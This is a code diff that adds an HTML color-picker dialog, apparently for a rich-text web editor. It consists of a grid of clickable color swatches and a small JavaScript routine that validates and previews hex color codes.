+<td onmouseover="View('33FF00')" onclick="Set('33FF00')" bgcolor="#33ff00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('660000')" onclick="Set('660000')" bgcolor="#660000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('663300')" onclick="Set('663300')" bgcolor="#663300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('666600')" onclick="Set('666600')" bgcolor="#666600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('669900')" onclick="Set('669900')" bgcolor="#669900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CC00')" onclick="Set('66CC00')" bgcolor="#66cc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FF00')" onclick="Set('66FF00')" bgcolor="#66ff00" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('B5B792')" onclick="Set('B5B792')" style="width: 10px; height: 10px; background-color: rgb(181, 183, 146);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('000033')" onclick="Set('000033')" bgcolor="#000033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('003333')" onclick="Set('003333')" bgcolor="#003333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('006633')" onclick="Set('006633')" bgcolor="#006633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('009933')" onclick="Set('009933')" bgcolor="#009933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CC33')" onclick="Set('00CC33')" bgcolor="#00cc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FF33')" onclick="Set('00FF33')" bgcolor="#00ff33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('330033')" onclick="Set('330033')" bgcolor="#330033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('333333')" onclick="Set('333333')" bgcolor="#333333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('336633')" onclick="Set('336633')" bgcolor="#336633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('339933')" onclick="Set('339933')" bgcolor="#339933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CC33')" onclick="Set('33CC33')" bgcolor="#33cc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FF33')" onclick="Set('33FF33')" bgcolor="#33ff33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('660033')" onclick="Set('660033')" bgcolor="#660033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('663333')" onclick="Set('663333')" bgcolor="#663333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('666633')" onclick="Set('666633')" bgcolor="#666633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('669933')" onclick="Set('669933')" bgcolor="#669933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CC33')" onclick="Set('66CC33')" bgcolor="#66cc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FF33')" onclick="Set('66FF33')" bgcolor="#66ff33" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('5B84AB')" onclick="Set('5B84AB')" style="width: 10px; height: 10px; background-color: rgb(91, 132, 171);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('000066')" onclick="Set('000066')" bgcolor="#000066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('003366')" onclick="Set('003366')" bgcolor="#003366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('006666')" onclick="Set('006666')" bgcolor="#006666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('009966')" onclick="Set('009966')" bgcolor="#009966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CC66')" onclick="Set('00CC66')" bgcolor="#00cc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FF66')" onclick="Set('00FF66')" bgcolor="#00ff66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('330066')" onclick="Set('330066')" bgcolor="#330066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('333366')" onclick="Set('333366')" bgcolor="#333366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('336666')" onclick="Set('336666')" bgcolor="#336666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('339966')" onclick="Set('339966')" bgcolor="#339966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CC66')" onclick="Set('33CC66')" bgcolor="#33cc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FF66')" onclick="Set('33FF66')" bgcolor="#33ff66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('660066')" onclick="Set('660066')" bgcolor="#660066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('663366')" onclick="Set('663366')" bgcolor="#663366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('666666')" onclick="Set('666666')" bgcolor="#666666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('669966')" onclick="Set('669966')" bgcolor="#669966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CC66')" onclick="Set('66CC66')" bgcolor="#66cc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FF66')" onclick="Set('66FF66')" bgcolor="#66ff66" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('077D8B')" onclick="Set('077D8B')" style="width: 10px; height: 10px; background-color: rgb(7, 125, 139);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('000099')" onclick="Set('000099')" bgcolor="#000099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('003399')" onclick="Set('003399')" bgcolor="#003399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('006699')" onclick="Set('006699')" bgcolor="#006699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('009999')" onclick="Set('009999')" bgcolor="#009999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CC99')" onclick="Set('00CC99')" bgcolor="#00cc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FF99')" onclick="Set('00FF99')" bgcolor="#00ff99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('330099')" onclick="Set('330099')" bgcolor="#330099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('333399')" onclick="Set('333399')" bgcolor="#333399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('336699')" onclick="Set('336699')" bgcolor="#336699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('339999')" onclick="Set('339999')" bgcolor="#339999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CC99')" onclick="Set('33CC99')" bgcolor="#33cc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FF99')" onclick="Set('33FF99')" bgcolor="#33ff99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('660099')" onclick="Set('660099')" bgcolor="#660099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('663399')" onclick="Set('663399')" bgcolor="#663399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('666699')" onclick="Set('666699')" bgcolor="#666699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('669999')" onclick="Set('669999')" bgcolor="#669999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CC99')" onclick="Set('66CC99')" bgcolor="#66cc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FF99')" onclick="Set('66FF99')" bgcolor="#66ff99" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9C7BBA')" onclick="Set('9C7BBA')" style="width: 10px; height: 10px; background-color: rgb(156, 123, 186);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0000CC')" onclick="Set('0000CC')" bgcolor="#0000cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0033CC')" onclick="Set('0033CC')" bgcolor="#0033cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0066CC')" onclick="Set('0066CC')" bgcolor="#0066cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0099CC')" onclick="Set('0099CC')" bgcolor="#0099cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CCCC')" onclick="Set('00CCCC')" bgcolor="#00cccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FFCC')" onclick="Set('00FFCC')" bgcolor="#00ffcc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3300CC')" onclick="Set('3300CC')" bgcolor="#3300cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3333CC')" onclick="Set('3333CC')" bgcolor="#3333cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3366CC')" onclick="Set('3366CC')" bgcolor="#3366cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3399CC')" onclick="Set('3399CC')" bgcolor="#3399cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CCCC')" onclick="Set('33CCCC')" bgcolor="#33cccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FFCC')" onclick="Set('33FFCC')" bgcolor="#33ffcc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6600CC')" onclick="Set('6600CC')" bgcolor="#6600cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6633CC')" onclick="Set('6633CC')" bgcolor="#6633cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6666CC')" onclick="Set('6666CC')" bgcolor="#6666cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6699CC')" onclick="Set('6699CC')" bgcolor="#6699cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CCCC')" onclick="Set('66CCCC')" bgcolor="#66cccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FFCC')" onclick="Set('66FFCC')" bgcolor="#66ffcc" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('5F9EA0')" onclick="Set('5F9EA0')" style="width: 10px; height: 10px; background-color: rgb(95, 158, 160);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0000FF')" onclick="Set('0000FF')" bgcolor="#0000ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0033FF')" onclick="Set('0033FF')" bgcolor="#0033ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0066FF')" onclick="Set('0066FF')" bgcolor="#0066ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('0099FF')" onclick="Set('0099FF')" bgcolor="#0099ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00CCFF')" onclick="Set('00CCFF')" bgcolor="#00ccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('00FFFF')" onclick="Set('00FFFF')" bgcolor="#00ffff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3300FF')" onclick="Set('3300FF')" bgcolor="#3300ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3333FF')" onclick="Set('3333FF')" bgcolor="#3333ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3366FF')" onclick="Set('3366FF')" bgcolor="#3366ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('3399FF')" onclick="Set('3399FF')" bgcolor="#3399ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33CCFF')" onclick="Set('33CCFF')" bgcolor="#33ccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('33FFFF')" onclick="Set('33FFFF')" bgcolor="#33ffff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6600FF')" onclick="Set('6600FF')" bgcolor="#6600ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6633FF')" onclick="Set('6633FF')" bgcolor="#6633ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6666FF')" onclick="Set('6666FF')" bgcolor="#6666ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6699FF')" onclick="Set('6699FF')" bgcolor="#6699ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CCFF')" onclick="Set('66CCFF')" bgcolor="#66ccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FFFF')" onclick="Set('66FFFF')" bgcolor="#66ffff" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('949CCE')" onclick="Set('949CCE')" style="width: 10px; height: 10px; background-color: rgb(148, 156, 206);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('990000')" onclick="Set('990000')" bgcolor="#990000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('993300')" onclick="Set('993300')" bgcolor="#993300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('996600')" onclick="Set('996600')" bgcolor="#996600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('999900')" onclick="Set('999900')" bgcolor="#999900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CC00')" onclick="Set('99CC00')" bgcolor="#99cc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FF00')" onclick="Set('99FF00')" bgcolor="#99ff00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC0000')" onclick="Set('CC0000')" bgcolor="#cc0000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC3300')" onclick="Set('CC3300')" bgcolor="#cc3300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC6600')" onclick="Set('CC6600')" bgcolor="#cc6600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC9900')" onclick="Set('CC9900')" bgcolor="#cc9900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCC00')" onclick="Set('CCCC00')" bgcolor="#cccc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFF00')" onclick="Set('CCFF00')" bgcolor="#ccff00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF0000')" onclick="Set('FF0000')" bgcolor="#ff0000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF3300')" onclick="Set('FF3300')" bgcolor="#ff3300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF6600')" onclick="Set('FF6600')" bgcolor="#ff6600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF9900')" onclick="Set('FF9900')" bgcolor="#ff9900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCC00')" onclick="Set('FFCC00')" bgcolor="#ffcc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFF00')" onclick="Set('FFFF00')" bgcolor="#ffff00" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9C96BA')" onclick="Set('9C96BA')" style="width: 10px; height: 10px; background-color: rgb(156, 150, 186);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('990033')" onclick="Set('990033')" bgcolor="#990033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('993333')" onclick="Set('993333')" bgcolor="#993333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('996633')" onclick="Set('996633')" bgcolor="#996633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('999933')" onclick="Set('999933')" bgcolor="#999933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CC33')" onclick="Set('99CC33')" bgcolor="#99cc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FF33')" onclick="Set('99FF33')" bgcolor="#99ff33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC0033')" onclick="Set('CC0033')" bgcolor="#cc0033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC3333')" onclick="Set('CC3333')" bgcolor="#cc3333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC6633')" onclick="Set('CC6633')" bgcolor="#cc6633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC9933')" onclick="Set('CC9933')" bgcolor="#cc9933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCC33')" onclick="Set('CCCC33')" bgcolor="#cccc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFF33')" onclick="Set('CCFF33')" bgcolor="#ccff33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF0033')" onclick="Set('FF0033')" bgcolor="#ff0033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF3333')" onclick="Set('FF3333')" bgcolor="#ff3333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF6633')" onclick="Set('FF6633')" bgcolor="#ff6633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF9933')" onclick="Set('FF9933')" bgcolor="#ff9933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCC33')" onclick="Set('FFCC33')" bgcolor="#ffcc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFF33')" onclick="Set('FFFF33')" bgcolor="#ffff33" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('088C94')" onclick="Set('088C94')" style="width: 10px; height: 10px; background-color: rgb(8, 140, 148);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('990066')" onclick="Set('990066')" bgcolor="#990066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('993366')" onclick="Set('993366')" bgcolor="#993366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('996666')" onclick="Set('996666')" bgcolor="#996666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('999966')" onclick="Set('999966')" bgcolor="#999966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CC66')" onclick="Set('99CC66')" bgcolor="#99cc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FF66')" onclick="Set('99FF66')" bgcolor="#99ff66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC0066')" onclick="Set('CC0066')" bgcolor="#cc0066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC3366')" onclick="Set('CC3366')" bgcolor="#cc3366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC6666')" onclick="Set('CC6666')" bgcolor="#cc6666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC9966')" onclick="Set('CC9966')" bgcolor="#cc9966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCC66')" onclick="Set('CCCC66')" bgcolor="#cccc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFF66')" onclick="Set('CCFF66')" bgcolor="#ccff66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF0066')" onclick="Set('FF0066')" bgcolor="#ff0066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF3366')" onclick="Set('FF3366')" bgcolor="#ff3366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF6666')" onclick="Set('FF6666')" bgcolor="#ff6666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF9966')" onclick="Set('FF9966')" bgcolor="#ff9966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCC66')" onclick="Set('FFCC66')" bgcolor="#ffcc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFF66')" onclick="Set('FFFF66')" bgcolor="#ffff66" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('637EB5')" onclick="Set('637EB5')" style="width: 10px; height: 10px; background-color: rgb(99, 126, 181);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('990099')" onclick="Set('990099')" bgcolor="#990099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('993399')" onclick="Set('993399')" bgcolor="#993399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('996699')" onclick="Set('996699')" bgcolor="#996699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('999999')" onclick="Set('999999')" bgcolor="#999999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CC99')" onclick="Set('99CC99')" bgcolor="#99cc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FF99')" onclick="Set('99FF99')" bgcolor="#99ff99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC0099')" onclick="Set('CC0099')" bgcolor="#cc0099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC3399')" onclick="Set('CC3399')" bgcolor="#cc3399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC6699')" onclick="Set('CC6699')" bgcolor="#cc6699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC9999')" onclick="Set('CC9999')" bgcolor="#cc9999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCC99')" onclick="Set('CCCC99')" bgcolor="#cccc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFF99')" onclick="Set('CCFF99')" bgcolor="#ccff99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF0099')" onclick="Set('FF0099')" bgcolor="#ff0099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF3399')" onclick="Set('FF3399')" bgcolor="#ff3399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF6699')" onclick="Set('FF6699')" bgcolor="#ff6699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF9999')" onclick="Set('FF9999')" bgcolor="#ff9999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCC99')" onclick="Set('FFCC99')" bgcolor="#ffcc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFF99')" onclick="Set('FFFF99')" bgcolor="#ffff99" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('7B52A5')" onclick="Set('7B52A5')" style="width: 10px; height: 10px; background-color: rgb(123, 82, 165);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9900CC')" onclick="Set('9900CC')" bgcolor="#9900cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9933CC')" onclick="Set('9933CC')" bgcolor="#9933cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9966CC')" onclick="Set('9966CC')" bgcolor="#9966cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9999CC')" onclick="Set('9999CC')" bgcolor="#9999cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CCCC')" onclick="Set('99CCCC')" bgcolor="#99cccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FFCC')" onclick="Set('99FFCC')" bgcolor="#99ffcc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC00CC')" onclick="Set('CC00CC')" bgcolor="#cc00cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC33CC')" onclick="Set('CC33CC')" bgcolor="#cc33cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC66CC')" onclick="Set('CC66CC')" bgcolor="#cc66cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC99CC')" onclick="Set('CC99CC')" bgcolor="#cc99cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCCCC')" onclick="Set('CCCCCC')" bgcolor="#cccccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFFCC')" onclick="Set('CCFFCC')" bgcolor="#ccffcc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF00CC')" onclick="Set('FF00CC')" bgcolor="#ff00cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF33CC')" onclick="Set('FF33CC')" bgcolor="#ff33cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF66CC')" onclick="Set('FF66CC')" bgcolor="#ff66cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF99CC')" onclick="Set('FF99CC')" bgcolor="#ff99cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCCCC')" onclick="Set('FFCCCC')" bgcolor="#ffcccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFFCC')" onclick="Set('FFFFCC')" bgcolor="#ffffcc" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('5069A2')" onclick="Set('5069A2')" style="width: 10px; height: 10px; background-color: rgb(80, 105, 162);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9900FF')" onclick="Set('9900FF')" bgcolor="#9900ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9933FF')" onclick="Set('9933FF')" bgcolor="#9933ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9966FF')" onclick="Set('9966FF')" bgcolor="#9966ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9999FF')" onclick="Set('9999FF')" bgcolor="#9999ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CCFF')" onclick="Set('99CCFF')" bgcolor="#99ccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FFFF')" onclick="Set('99FFFF')" bgcolor="#99ffff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC00FF')" onclick="Set('CC00FF')" bgcolor="#cc00ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC33FF')" onclick="Set('CC33FF')" bgcolor="#cc33ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC66FF')" onclick="Set('CC66FF')" bgcolor="#cc66ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC99FF')" onclick="Set('CC99FF')" bgcolor="#cc99ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCCFF')" onclick="Set('CCCCFF')" bgcolor="#ccccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFFFF')" onclick="Set('CCFFFF')" bgcolor="#ccffff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF00FF')" onclick="Set('FF00FF')" bgcolor="#ff00ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF33FF')" onclick="Set('FF33FF')" bgcolor="#ff33ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF66FF')" onclick="Set('FF66FF')" bgcolor="#ff66ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF99FF')" onclick="Set('FF99FF')" bgcolor="#ff99ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCCFF')" onclick="Set('FFCCFF')" bgcolor="#ffccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFFFF')" onclick="Set('FFFFFF')" bgcolor="#ffffff" height="10" width="10"><br>
+</td>
+</tr>
+</tbody></table>
+
+</body></html>
--- /dev/null
+<!-- note: this version of the color picker is optimized for IE 5.5+ only -->
+
+<html><head><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+window.resizeTo(240, 182);
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() { // run on page load
+ __dlg_init(); // <!-- this can be found in popup.js -->
+ document.body.onkeypress = _CloseOnEsc;
+
+ var color = window.dialogArguments;
+ color = ValidateColor(color) || '000000';
+ View(color); // set default color
+}
+
+function View(color) { // preview color
+ document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+ document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) { // select color
+ var color = ValidateColor(string);
+ if (color == null) { alert("Invalid color code: " + string); } // invalid color
+ else { // valid color
+ View(color); // show selected color
+ __dlg_close(color);
+ }
+}
+
+function ValidateColor(string) { // return valid color code
+ string = string || '';
+ string = string + "";
+ string = string.toUpperCase();
+ var chars = '0123456789ABCDEF';
+ var out = '';
+
+ for (var i=0; i<string.length; i++) { // remove invalid color chars
+ var schar = string.charAt(i);
+ if (chars.indexOf(schar) != -1) { out += schar; }
+ }
+
+ if (out.length != 6) { return null; } // check length
+ return out;
+}
+
+</script>
+</head>
+<body style="background:ButtonFace; margin:0px; padding:0px" onload="Init()">
+
+<form method="get" style="margin:0px; padding:0px" onSubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="1px" cellspacing="0px" cellpadding="4" width="100%">
+ <tr>
+ <td style="background:buttonface" valign=center><div style="background-color: #000000; padding: 1; height: 21px; width: 50px"><div id="ColorPreview" style="height: 100%; width: 100%"></div></div></td>
+ <td style="background:buttonface" valign=center><input type="text" name="ColorHex"
+ id="ColorHex" value="" size=15 style="font-size: 12px"></td>
+ <td style="background:buttonface" width=100%></td>
+ </tr>
+</table>
+</form>
+
